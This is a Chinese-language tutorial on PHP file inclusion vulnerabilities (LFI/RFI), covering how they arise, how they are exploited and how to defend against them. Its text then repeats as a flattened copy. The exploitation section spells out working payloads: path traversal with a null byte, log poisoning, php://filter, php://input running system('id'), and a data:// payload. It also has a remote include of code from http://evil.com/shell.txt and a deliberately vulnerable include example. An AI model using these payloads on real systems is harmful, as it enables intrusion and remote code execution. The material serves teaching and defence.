Web安全之文件包含漏洞(LFI/RFI)原理与高级利用与防护详解
字数 2533 2025-12-08 10:34:08

Web安全之文件包含漏洞(LFI/RFI)原理与高级利用与防护详解

1. 文件包含漏洞的定义与基本原理

文件包含漏洞(File Inclusion)是一种在Web应用程序中,由于未能对用户输入的、用于包含文件(如脚本、配置文件、模板等)的参数进行严格的验证和过滤,导致攻击者能够包含并执行任意文件的漏洞。它主要分为两类:

  • 本地文件包含(LFI, Local File Inclusion):攻击者能够包含并读取/执行服务器本地的任意文件(如 /etc/passwd, 日志文件,应用程序源代码等)。
  • 远程文件包含(RFI, Remote File Inclusion):攻击者能够包含并执行来自远程服务器(由攻击者控制)的恶意代码文件。这通常要求目标服务器的PHP配置中 allow_url_include 选项为 On(现代PHP版本默认关闭),或应用程序存在其他可触发远程网络请求的漏洞。

漏洞核心:应用程序使用了用户可控的变量(如 $_GET[‘page’], $_GET[‘file’])作为包含函数的参数,且未做有效限制。

2. 漏洞产生的常见场景与危险函数

常见场景

  1. 模块/页面加载:很多CMS或框架通过一个入口文件(如 index.php),根据参数加载不同的功能模块或页面模板。
    // 危险代码示例
    $page = $_GET['page'];
    include($page . '.php'); // 用户可控制 $page
    
  2. 配置文件/本地化加载:加载语言包、配置文件等。
  3. 模板引擎/静态资源包含:不安全的模板包含实现。

危险函数(以PHP为例)

  • include()
  • include_once()
  • require()
  • require_once()
  • file_get_contents()readfile() 等读取文件的函数也可能存在类似风险,但它们通常不执行PHP代码。

3. 攻击原理与利用步骤(循序渐进)

步骤一:基础LFI利用 - 读取敏感文件
攻击者尝试读取服务器上的已知文件。

攻击请求:http://example.com/index.php?page=/etc/passwd
对应后端:include("/etc/passwd.php"); // 可能失败,因为加了后缀

绕过技巧1:路径遍历与空字节截断(PHP<5.3.4)

  • 如果代码自动添加了 .php 后缀,攻击者可以用 ../ 进行目录遍历,并利用空字节 %00 在字符串结束前截断后面的 .php
http://example.com/index.php?page=../../../etc/passwd%00
后端:include("../../../etc/passwd%00.php");
// 在旧版PHP中,%00会终止字符串读取,实际包含 /etc/passwd

步骤二:高级LFI利用 - 结合文件上传或日志注入执行代码
当无法直接远程包含时,攻击者需将恶意代码写入服务器的一个本地文件,再通过LFI去包含执行它。

  1. 日志文件注入

    • 找到Web服务器可读的日志文件路径(如 /var/log/apache2/access.log)。
    • 发送一个包含恶意PHP代码的HTTP请求,该代码会被记录在访问日志中。
    GET <?php phpinfo(); ?> HTTP/1.1
    
    • 通过LFI漏洞包含这个日志文件。
    http://example.com/index.php?page=/var/log/apache2/access.log
    
    • 如果日志文件中的PHP代码被成功包含并解析,攻击者就实现了代码执行。
  2. PHP封装协议利用
    PHP内置的封装协议(Wrapper)是LFI利用的“瑞士军刀”。

    • php://filter 读取源码:当目标文件是PHP脚本,直接包含会执行而非显示源码。使用php://filter可以读取文件源码,用于审计。
    http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
    // 将 index.php 的内容以Base64编码输出,解码后得到源代码
    
    • php://input 执行POST代码:如果 allow_url_include=On,可以执行POST body中的PHP代码。
    POST /index.php?page=php://input HTTP/1.1
    ...
    <?php system('id'); ?>
    
    • data:// 协议执行代码:同样需要 allow_url_include=On,直接在URL中携带Base64编码的代码。
    http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    
  3. 结合文件上传:如果网站存在文件上传功能但上传路径可知,可上传一个图片马(在图片末尾嵌入PHP代码),然后通过LFI包含这个图片文件来执行代码。

步骤三:RFI利用 - 直接执行远程代码
如果 allow_url_include=On,攻击最简单直接。

  1. 攻击者在自己的服务器上(http://evil.com/shell.txt)放置一个内容为 <?php phpinfo();?> 的文本文件。
  2. 发起包含请求:
http://example.com/index.php?page=http://evil.com/shell.txt
  1. 服务器会下载并执行 shell.txt 中的PHP代码。

4. 漏洞的危害

  • 敏感信息泄露:读取配置文件(数据库连接信息)、源代码、用户数据、系统文件(/etc/passwd, /proc/self/environ)。
  • 远程代码执行(RCE):通过包含恶意构造的本地或远程文件,获取服务器命令行权限,这是最严重的后果。
  • 网站篡改与后门植入
  • 配合其他漏洞扩大攻击面

5. 防护策略(纵深防御)

  1. 白名单校验:最有效的方法。为文件包含参数维护一个明确的、允许的文件名或模块名白名单。

    $allowed_pages = [‘home.php', ‘news.php', ‘contact.php'];
    $page = $_GET[‘page’];
    if (in_array($page, $allowed_pages)) {
        include(./templates/ . $page);
    } else {
        include(./templates/error.php’);
    }
    
  2. 避免用户输入直接控制文件路径:尽量通过映射(如使用数字ID或固定标识)来确定包含的文件,而不是直接使用用户输入的字符串。

  3. 严格的路径限制

    • 为包含文件设置固定的基础目录,并使用绝对路径,或通过 basename() 函数去除路径。
    • 禁用 ../ 等目录遍历字符。
    $file = basename($_GET[‘file’]); // 移除任何路径部分
    include(./includes/ . $file . .php’);
    
  4. 安全的配置

    • 在PHP中,确保 php.ini 配置:allow_url_fopen = Offallow_url_include = Off(默认已关闭)。
    • 使用 open_basedir 指令限制PHP可访问的文件系统范围。
  5. 输入验证与过滤:对用户输入进行严格的过滤,只允许预期的字符(如字母、数字、下划线),拒绝任何特殊字符(/, \, ., :, %00 等)。

  6. 最小权限原则:运行Web服务器的用户(如www-data)应具有最低必要的文件系统读取权限,尤其不能读取 /etc/, /var/log/ 等关键目录。

  7. 代码安全审计:在开发过程中进行代码审查,特别注意所有包含、读取文件函数的参数是否用户可控。

  8. Web应用防火墙(WAF):部署WAF可以帮助拦截含有常见LFI/RFI攻击模式(如路径遍历、封装协议)的请求。

总结:文件包含漏洞的本质是“信任了不可信的用户输入作为文件操作的目标”。防护的核心思路是 “不信任、要校验”——对任何用于文件操作的输入进行强制的白名单控制或严格过滤,并辅以安全的服务器配置,构建多层次的防御体系,从而有效杜绝从信息泄露到远程代码执行的严重安全风险。

Web安全之文件包含漏洞(LFI/RFI)原理与高级利用与防护详解 1. 文件包含漏洞的定义与基本原理 文件包含漏洞(File Inclusion)是一种在Web应用程序中,由于未能对用户输入的、用于包含文件(如脚本、配置文件、模板等)的参数进行严格的验证和过滤,导致攻击者能够包含并执行任意文件的漏洞。它主要分为两类: 本地文件包含(LFI, Local File Inclusion) :攻击者能够包含并读取/执行服务器本地的任意文件(如 /etc/passwd , 日志文件,应用程序源代码等)。 远程文件包含(RFI, Remote File Inclusion) :攻击者能够包含并执行来自远程服务器(由攻击者控制)的恶意代码文件。这通常要求目标服务器的PHP配置中 allow_url_include 选项为 On (现代PHP版本默认关闭),或应用程序存在其他可触发远程网络请求的漏洞。 漏洞核心 :应用程序使用了用户可控的变量(如 $_GET[‘page’] , $_GET[‘file’] )作为包含函数的参数,且未做有效限制。 2. 漏洞产生的常见场景与危险函数 常见场景 : 模块/页面加载 :很多CMS或框架通过一个入口文件(如 index.php ),根据参数加载不同的功能模块或页面模板。 配置文件/本地化加载 :加载语言包、配置文件等。 模板引擎/静态资源包含 :不安全的模板包含实现。 危险函数(以PHP为例) : include() include_once() require() require_once() file_get_contents() 、 readfile() 等读取文件的函数也可能存在类似风险,但它们通常不执行PHP代码。 3. 攻击原理与利用步骤(循序渐进) 步骤一:基础LFI利用 - 读取敏感文件 攻击者尝试读取服务器上的已知文件。 绕过技巧1:路径遍历与空字节截断(PHP<5.3.4) 如果代码自动添加了 .php 后缀,攻击者可以用 ../ 进行目录遍历,并利用空字节 %00 在字符串结束前截断后面的 .php 。 步骤二:高级LFI利用 - 结合文件上传或日志注入执行代码 当无法直接远程包含时,攻击者需将恶意代码写入服务器的一个本地文件,再通过LFI去包含执行它。 日志文件注入 : 找到Web服务器可读的日志文件路径(如 /var/log/apache2/access.log )。 发送一个包含恶意PHP代码的HTTP请求,该代码会被记录在访问日志中。 通过LFI漏洞包含这个日志文件。 如果日志文件中的PHP代码被成功包含并解析,攻击者就实现了代码执行。 PHP封装协议利用 : PHP内置的封装协议(Wrapper)是LFI利用的“瑞士军刀”。 php://filter 读取源码 :当目标文件是PHP脚本,直接包含会执行而非显示源码。使用 php://filter 可以读取文件源码,用于审计。 php://input 执行POST代码 :如果 allow_url_include=On ,可以执行POST body中的PHP代码。 data:// 协议执行代码 :同样需要 allow_url_include=On ,直接在URL中携带Base64编码的代码。 结合文件上传 :如果网站存在文件上传功能但上传路径可知,可上传一个图片马(在图片末尾嵌入PHP代码),然后通过LFI包含这个图片文件来执行代码。 步骤三:RFI利用 - 直接执行远程代码 如果 allow_url_include=On ,攻击最简单直接。 攻击者在自己的服务器上( http://evil.com/shell.txt )放置一个内容为 <?php phpinfo();?> 的文本文件。 发起包含请求: 服务器会下载并执行 shell.txt 中的PHP代码。 4. 漏洞的危害 敏感信息泄露 :读取配置文件(数据库连接信息)、源代码、用户数据、系统文件( /etc/passwd , /proc/self/environ )。 远程代码执行(RCE) :通过包含恶意构造的本地或远程文件,获取服务器命令行权限,这是最严重的后果。 网站篡改与后门植入 。 配合其他漏洞扩大攻击面 。 5. 防护策略(纵深防御) 白名单校验 :最有效的方法。为文件包含参数维护一个明确的、允许的文件名或模块名白名单。 避免用户输入直接控制文件路径 :尽量通过映射(如使用数字ID或固定标识)来确定包含的文件,而不是直接使用用户输入的字符串。 严格的路径限制 : 为包含文件设置固定的基础目录,并使用绝对路径,或通过 basename() 函数去除路径。 禁用 ../ 等目录遍历字符。 安全的配置 : 在PHP中,确保 php.ini 配置: allow_url_fopen = Off 和 allow_url_include = Off (默认已关闭)。 使用 open_basedir 指令限制PHP可访问的文件系统范围。 输入验证与过滤 :对用户输入进行严格的过滤,只允许预期的字符(如字母、数字、下划线),拒绝任何特殊字符( / , \ , . , : , %00 等)。 最小权限原则 :运行Web服务器的用户(如www-data)应具有最低必要的文件系统读取权限,尤其不能读取 /etc/ , /var/log/ 等关键目录。 代码安全审计 :在开发过程中进行代码审查,特别注意所有包含、读取文件函数的参数是否用户可控。 Web应用防火墙(WAF) :部署WAF可以帮助拦截含有常见LFI/RFI攻击模式(如路径遍历、封装协议)的请求。 总结 :文件包含漏洞的本质是“信任了不可信的用户输入作为文件操作的目标”。防护的核心思路是 “不信任、要校验” ——对任何用于文件操作的输入进行强制的白名单控制或严格过滤,并辅以安全的服务器配置,构建多层次的防御体系,从而有效杜绝从信息泄露到远程代码执行的严重安全风险。